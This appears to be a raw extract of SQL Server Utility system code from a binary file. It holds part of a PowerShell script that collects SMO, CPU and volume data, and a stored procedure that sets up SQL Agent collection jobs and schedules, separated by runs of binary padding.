!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`2m!z<.J#|p2>G               WHERE object_type ="+ $object_type.ToString();
         $properties = Get-SqlDataTable $propertiesQuery | %{ $_.Rows } | foreach { $_.property_name };
         
         Write-ScriptVerbose "Collecting smo information for sfc query $sfcQueryString"
         $oq = New-Object Microsoft.SqlServer.Management.Sdk.Sfc.SfcObjectQuery($server);
         $exp = New-Object Microsoft.SqlServer.Management.Sdk.Sfc.SfcQueryExpression($sfcQueryString);
         
         &{ # PS try
         
            # The following call is not itempotent.  The code does not run the same
            # in debug mode. If you are running in debug mode, any value display
            # invalidates the foreach statement.
            $en = $oq.ExecuteIterator($exp, $null, $null);   
            
            foreach($obj in $en)
            {
               $objUrn = $obj.Urn.ToString();
               Write-ScriptVerbose "Collecting smo information for urn $objUrn"
               
               # For each property get the value and insert it into the smo stage data table
               # the statment $obj.$_ retrieves the propety value from the object
               # going through the PS provider.  If the property is not found or throws an
               # exception from the SMO side, the PS provider wraps the property and returns
               # an empty value.
               $properties | 
               %{ 
                  if ($_ -eq "ProcessorUsage")
                  {
                      # for ProcessorUsage, we are in fact collecting the
                      # the data by ourselves in our own staging table.
                      # and we do not want to call SMO as this property
                      # may not exist on downlevel server.
                      # so here, we put a dummy value and later during upload
                      # we replace it with our real value.
                      # Note that we a similar situation for VolumeFreeSpace
                      # but the solution is different. For VolumeFreeSpace property
                      # it is not put in the sysutility_mi_smo_properties_to_collect_internal
                      # and we collect through other means and then do a join on the UCP
                      # side, versus for ProcessorUsage, we put the property in the list
                      # and during MI collection, we replace it with our own value.
                      # The difference is inconsistent and we should change them to behave
                      # the same in future releases.
                      Add-StageSmoRow $object_type $objUrn $_ [object]0
                  }
                  else
                  {
                      Add-StageSmoRow $object_type $objUrn $_ $obj.$_ 
                  }
                  
                  # if this property is FileName, we append volume/mount point info.
                  if($_ -eq "FileName")
                  {
                     Write-ScriptVerbose "Property is FileName, getting volume information"
                     [String] $mountPointName = Get-MountPointName $obj.FileName
                     Add-StageSmoRow $object_type $objUrn "mount_point_name" $mountPointName 
                     
                     [String] $deviceId = Get-DeviceIdFromMountPointName $mountPointName
                     Add-StageSmoRow $object_type $objUrn "volume_device_id" $deviceId
                  }
               }
               
               $psPath = Convert-UrnToPath $objUrn
               ("powershell_path", $psPath),
               ("parent_name", $obj.Parent.Name),              # If no Parent exists, Ps will return null
               ("grandparent_name", $obj.Parent.Parent.Name) | # If no Parent.Parent exists, Ps will return null
                  %{ ,
                     $propertyName = $_[0]                     
                     [String] $value = $_[1]    # Cast to string results in $null values becoming ""
                     if($value -ne "")
                     {
                        Add-StageSmoRow $object_type $objUrn $propertyName $value
                     }
                  }  
            }
         } # PS catch exception
         trap [Exception]
         {
            Resolve-Error
            Write-ScriptError "Caught exception while collecting smo properties."
         }   
      }
      $global:smoStageDataTable
   } # PS catch exception
   trap [Exception]
   {
      Resolve-Error
          Write-ScriptError "Caught exception while collecting smo properties."
   }   
}

###############################################################################
# Functions that mange the server tables by clearing and loading collected data 
###############################################################################
function Clear-AllStagedData
{
   # TRUNCATE TABLE removes all rows from a table without logging the 
   # individual row deletes.

   $cpuClearQuery = "TRUNCATE TABLE $global:cpuStageTableName; "
   $volumeClearQuery = "TRUNCATE TABLE $global:volumeStageTableName; "
   $smoClearQuery = "TRUNCATE TABLE $global:smoStageTableName; "
   
   Invoke-SubmitSqlCommandNonQuery "$cpuClearQuery $volumeClearQuery $smoClearQuery"
}

function Collect-AllStagedData
{

   Collect-CpuData | Out-Null
      
   # Should we collect cpu data again?
   # This will happen if the script is
   # run when there is no data yet in
   # the cpu staging table.
   if(Get-ShouldCollectCpu)
   {
      #Wait for some time to pass
      Write-ScriptVerbose "Waiting $sleepTimeoutSeconds seconds to collect cpu data."
      Start-Sleep -Seconds $sleepTimeoutSeconds
      #Collect the data again
      Collect-CpuData | Out-Null
   }
   
   Collect-SmoData | Out-Null
   Collect-VolumeData | Out-Null
}

function Save-AllStagedData
{
   Invoke-BulkCopyCommand $global:cpuStageDataTable
   Invoke-BulkCopyCommand $global:volumeStageDataTable
   Invoke-BulkCopyCommand $global:smoStageDataTable
}

function Invoke-StageData
{

   &{ # Try 
      
      Collect-AllStagedData
      
      Invoke-BeginTransaction
      
      Clear-AllStagedData
      Save-AllStagedData
      
      Invoke-CommitTransaction
      Remove-Connection
   }
   trap [Exception] # Catch
   {
      Write-ScriptWarning "Error occurred during execution of script."
      Write-ScriptWarning "Transaction will be rolled back."
      
      Resolve-Error
      
      Invoke-RollbackTransaction
      Remove-Connection
      
      # With ErrorActionPreference=Stop the following line will stop the script
      Write-ScriptError "Error.  Transaction was rolled back"
   }
}

if(Get-IsAgentStep)
{
   Invoke-StageData
}'
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(	Jllv'CREATE PROCEDURE [dbo].[sp_sysutility_mi_initialize_collection]
WITH EXECUTE AS OWNER
AS
BEGIN
   SET NOCOUNT ON;

   DECLARE @null_column sysname = NULL  

   IF ( 0 = (select [dbo].[fn_sysutility_ucp_get_instance_is_mi]()) )
   BEGIN
	  RAISERROR(37006, -1, -1)
     RETURN(1)
   END

   BEGIN TRY
   
   DECLARE @tran_name NVARCHAR(32) = N'sysutility_mi_initialize_collection' -- transaction names can be no more than 32 characters

   BEGIN TRANSACTION @tran_name

      -- Common variables
      DECLARE @job_category sysname       = N'Utility - Managed Instance';
      DECLARE @job_category_id INT        = (SELECT category_id FROM msdb.dbo.syscategories WHERE name=@job_category AND category_class=1)
      DECLARE @server_name sysname        = N'(local)';
      DECLARE @step_id INT;
      DECLARE @step_name sysname;

      -- Collect and upload job variables
      DECLARE @collect_and_upload_job_name sysname              = N'sysutility_mi_collect_and_upload';
      DECLARE @collect_and_upload_job_description nvarchar(max) = N'Collect configuration and performance information';
      DECLARE @collect_and_upload_schedule_name sysname         = N'sysutility_mi_collect_and_upload';
      DECLARE @collect_and_upload_schedule_minutes int          = 15;                                                              
      DECLARE @collect_and_upload_job_id uniqueidentifier       = (SELECT jobs.job_id
                                                                   FROM [msdb].[dbo].[sysjobs] jobs
                                                                   WHERE jobs.name = @collect_and_upload_job_name 
                                                                   AND jobs.category_id = @job_category_id);
                                                                     
      -- start the job one minute past midnight + some random set of minutes between the schedule interval
      -- for agent jobs, a schedule's time is encoded in an integer.  The minutes portion
      -- are stored in the the 100s and 1000s digits.
      DECLARE @collect_and_upload_schedule_start_time int       = CAST((1 + RAND() * (@collect_and_upload_schedule_minutes + 1)) AS INT) * 100; 
      -- end the job one minute before the start time
      DECLARE @collect_and_upload_schedule_end_time int         = @collect_and_upload_schedule_start_time - 100;
      
      -- Dac performance collection job variables
      DECLARE @dac_perf_job_name sysname              = N'sysutility_mi_collect_performance';
      DECLARE @dac_perf_job_description nvarchar(max) = N'Collect performance information';
      DECLARE @dac_perf_schedule_name sysname         = N'sysutility_mi_collect_performance';
      DECLARE @dac_perf_schedule_seconds int          = 15;
      DECLARE @dac_perf_job_id uniqueidentifier       = (SELECT jobs.job_id
                                                         FROM [msdb].[dbo].[sysjobs] jobs
                                                         WHERE jobs.name = @dac_perf_job_name 
                                                         AND jobs.category_id = @job_category_id);

      -------------------------------------------------------------------------
      -- Create the category for the jobs
      -------------------------------------------------------------------------
      IF (@job_category_id IS NULL)
      BEGIN
         RAISERROR('Creating utility job category ... %s', 0, 1, @job_category)  WITH NOWAIT;
         EXEC msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=@job_category
      END
                   
      -------------------------------------------------------------------------
      -- Prepare the jobs
      -------------------------------------------------------------------------
      IF (@collect_and_upload_job_id IS NULL)
      BEGIN
         RAISERROR('Creating utility job ... %s', 0, 1, @collect_and_upload_job_name)  WITH NOWAIT;
         -- The job doesn't exist yet, create the job
         EXEC msdb.dbo.sp_add_job 
            @job_name=@collect_and_upload_job_name,     
            @enabled=0,                               -- create the job disabled
            @notify_level_eventlog=0, 
            @notify_level_email=0, 
            @notify_level_netsend=0, 
            @notify_level_page=0, 
            @delete_level=0,
            @description=@collect_and_upload_job_description, 
            @category_name=@job_category, 
            @job_id = @collect_and_upload_job_id OUTPUT
      
         RAISERROR('Adding job to jobserver ... %s' , 0, 1, @collect_and_upload_job_name)  WITH NOWAIT;
         EXEC msdb.dbo.sp_add_jobserver @job_id = @collect_and_upload_job_id, @server_name = @server_name
      END
      ELSE
      BEGIN
         
         RAISERROR('Disabling utility job ... %s', 0, 1, @collect_and_upload_job_name)  WITH NOWAIT;
         -- Disable the job for now.  Disable is itempotent
         EXEC msdb.dbo.sp_update_job @job_id=@collect_and_upload_job_id, @enabled=0
         
         RAISERROR('Clearing job steps for utility job ... %s', 0, 1, @collect_and_upload_job_name)  WITH NOWAIT;
         -- The job exists, delete all of the job steps prior to recreating them
         -- Passing step_id = 0 to sp_delete_jobstep deletes all job steps for the job
         EXEC msdb.dbo.sp_delete_jobstep @job_id=@collect_and_upload_job_id, @step_id = 0
      END
      
      IF (@dac_perf_job_id IS NULL)
      BEGIN
         RAISERROR('Creating utility job ... %s', 0, 1, @dac_perf_job_name)  WITH NOWAIT;
         -- The job doesn't exist yet, create the job
         EXEC msdb.dbo.sp_add_job 
            @job_name=@dac_perf_job_name, 
            @enabled=0,                                -- create the job disabled
            @notify_level_eventlog=0, 
            @notify_level_email=0, 
            @notify_level_netsend=0, 
            @notify_level_page=0, 
            @delete_level=0,
            @description=@dac_perf_job_description, 
            @category_name=@job_category, 
            @job_id = @dac_perf_job_id OUTPUT
      
         RAISERROR('Adding job to jobserver ... %s' , 0, 1, @dac_perf_job_name)  WITH NOWAIT;
         EXEC msdb.dbo.sp_add_jobserver @job_id = @dac_perf_job_id, @server_name = @server_name
      END
      ELSE
      BEGIN
         RAISERROR('Disabling utility job ... %s', 0, 1, @dac_perf_job_name)  WITH NOWAIT;
         -- Disable the job for now.  Disable is itempotent
         EXEC msdb.dbo.sp_update_job @job_id=@dac_perf_job_id, @enabled=0
         
         RAISERROR('Clearing job steps for utility job ... %s', 0, 1, @dac_perf_job_name)  WITH NOWAIT;
         -- The job exists, delete all of the job steps prior to recreating them
         -- Passing step_id = 0 to sp_delete_jobstep deletes all job steps for the job
         EXEC msdb.dbo.sp_delete_jobstep @job_id=@dac_perf_job_id, @step_id = 0
      END
      
      -------------------------------------------------------------------------
      -- Add the schedules for the jobs
      -------------------------------------------------------------------------

      IF  NOT EXISTS (SELECT name FROM msdb.dbo.sysschedules_localserver_view WHERE name = @collect_and_upload_schedule_name)
      BEGIN
         RAISERROR('Creating schedule ... %s', 0, 1, @collect_and_upload_schedule_name)  WITH NOWAIT;
         EXEC dbo.sp_add_schedule
            @schedule_name = @collect_and_upload_schedule_name,            -- Schedule name
            @enabled=1,                                                    -- Enabled
            @freq_type = 4,                                                -- Daily
            @freq_interval = 1,                                            -- Recurs every 1 day
            @freq_subday_type = 0x4,                                       -- Frequency type is "minutes"
            @freq_subday_interval = @collect_a!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
Jlzv'nd_upload_schedule_minutes,  -- Occurs every x minutes
            @active_start_time = @collect_and_upload_schedule_start_time,  -- Time to start the job
            @active_end_time = @collect_and_upload_schedule_end_time       -- Time to end the job
      END
      
      -- attach the schedule.  attach_schedule is itempotent if the job already has the schedule attached
      RAISERROR('Attaching schedule %s to job %s ...'  , 0, 1, @collect_and_upload_schedule_name, @collect_and_upload_job_name)  WITH NOWAIT;
      EXEC msdb.dbo.sp_attach_schedule @job_id=@collect_and_upload_job_id,@schedule_name=@collect_and_upload_schedule_name
      
      IF  NOT EXISTS (SELECT name FROM msdb.dbo.sysschedules_localserver_view WHERE name = @dac_perf_schedule_name)
      BEGIN
         RAISERROR('Creating schedule ... %s', 0, 1, @dac_perf_schedule_name)  WITH NOWAIT;
         EXEC dbo.sp_add_schedule
            @schedule_name = @dac_perf_schedule_name,            -- Schedule name
            @enabled=1,                                          -- Enabled
            @freq_type = 4,                                      -- Daily
            @freq_interval = 1,                                  -- Recurs every 1 day
            @freq_subday_type = 0x2,                             -- Frequency type is "seconds"
            @freq_subday_interval = @dac_perf_schedule_seconds   -- Occurs every x seconds
      END   
      
      -- attach the schedule.  attach_schedule is itempotent if the job already has the schedule attached
      RAISERROR('Attaching schedule %s to job %s ...'  , 0, 1, @dac_perf_schedule_name, @dac_perf_job_name)  WITH NOWAIT;
      EXEC msdb.dbo.sp_attach_schedule @job_id=@dac_perf_job_id,@schedule_name=@dac_perf_schedule_name     

      -------------------------------------------------------------------------
      -- Add the steps 
      -------------------------------------------------------------------------
      
      -------------------------------------------------------------------------      
      -- Steps for dac performance job
      -------------------------------------------------------------------------
      
      SET @step_id = 1;
      SET @step_name = N'Collect DAC execution statistics';
      RAISERROR('Adding step %i name %s to job %s', 0, 1, @step_id, @step_name, @dac_perf_job_name)  WITH NOWAIT;
      EXEC msdb.dbo.sp_add_jobstep 
         @job_id=@dac_perf_job_id, 
         @step_name=@step_name, 
         @step_id=1, 
         @cmdexec_success_code=0, 
         @on_success_action=1, 
         @on_fail_action=3, 
         @retry_attempts=0, 
         @retry_interval=0, 
         @os_run_priority=0, @subsystem=N'TSQL', 
         @command=N'EXEC [msdb].[dbo].[sp_sysutility_mi_collect_dac_execution_statistics_internal]', 
         @database_name=N'msdb', 
         @flags=0
            
      -------------------------------------------------------------------------      
      -- Steps for collect and upload job
      -------------------------------------------------------------------------
      
      -- Job step to record the current time on the managed instance.  This value will be included in the output of all of 
      -- the queries executed by the Utility collection set.  It will be used on the UCP to tie together all of the data from 
      -- a single execution of the data collection job. 
      -- 
      -- We create a table in tempdb to hold last batch start time and other transient data that does not 
      -- need to survive a service cycle.  Nothing uses this table except subsequent steps in this job; 
      -- it is safe to drop and recreate it here so that we do not need to worry about build-to-build 
      -- schema changes.
      
      SET @step_id = 1;
      SET @step_name = N'Record batch start time';
      RAISERROR('Adding step %i name %s to job %s', 0, 1, @step_id, @step_name, @collect_and_upload_job_name)  WITH NOWAIT;
      EXEC msdb.dbo.sp_add_jobstep @job_id=@collect_and_upload_job_id, @step_name=@step_name, 
            @step_id=@step_id, 
            @cmdexec_success_code=0, 
            @on_success_action=3, -- Go to next step
            @on_fail_action=2,    -- Quit the job reporting failure.  If something goes wrong here, something is messed up
            @retry_attempts=0, 
            @retry_interval=0, 
            @os_run_priority=0, 
            @subsystem=N'TSQL', 
            @command='
               USE tempdb
               
               IF OBJECT_ID (''[tempdb].[dbo].[sysutility_batch_time_internal]'') IS NOT NULL
               BEGIN
                  DROP TABLE [tempdb].[dbo].[sysutility_batch_time_internal];
               END;
               
               CREATE TABLE [tempdb].[dbo].[sysutility_batch_time_internal] (
                  latest_batch_time datetimeoffset(7) PRIMARY KEY NOT NULL
               );
                  
               -- The DC job needs to access the timestamp in this table, and it may not run under a login that 
               -- is mapped to a user in tempdb, so grant SELECT permissions to public.  The table contains no 
               -- sensitive data (only a single datetimeoffset value), so granting read permission to public 
               -- does create a security problem. 
               GRANT SELECT ON [tempdb].[dbo].[sysutility_batch_time_internal] TO PUBLIC;

               -- Save the start time for the current execution of the managed instance data collection job
               INSERT INTO [tempdb].[dbo].[sysutility_batch_time_internal] (latest_batch_time) VALUES (SYSDATETIMEOFFSET());', 
            @database_name=N'tempdb', 
            @flags=0
      
      DECLARE @psScript NVARCHAR(MAX) = (SELECT [dbo].[fn_sysutility_mi_get_collect_script]());
      SET @step_id = 2;
      SET @step_name = N'Stage Data Collected from PowerShell Script';  
      RAISERROR('Adding step %i name %s to job %s', 0, 1, @step_id, @step_name, @collect_and_upload_job_name)  WITH NOWAIT;
      EXEC msdb.dbo.sp_add_jobstep @job_id=@collect_and_upload_job_id, @step_name=@step_name, 
         @step_id=@step_id, 
         @cmdexec_success_code=0, 
         @on_success_action=3,   -- Go to next step
         @on_fail_action=2,      -- Quit the job reporting failure
         @retry_attempts=0, 
         @retry_interval=0, 
         @os_run_priority=0, 
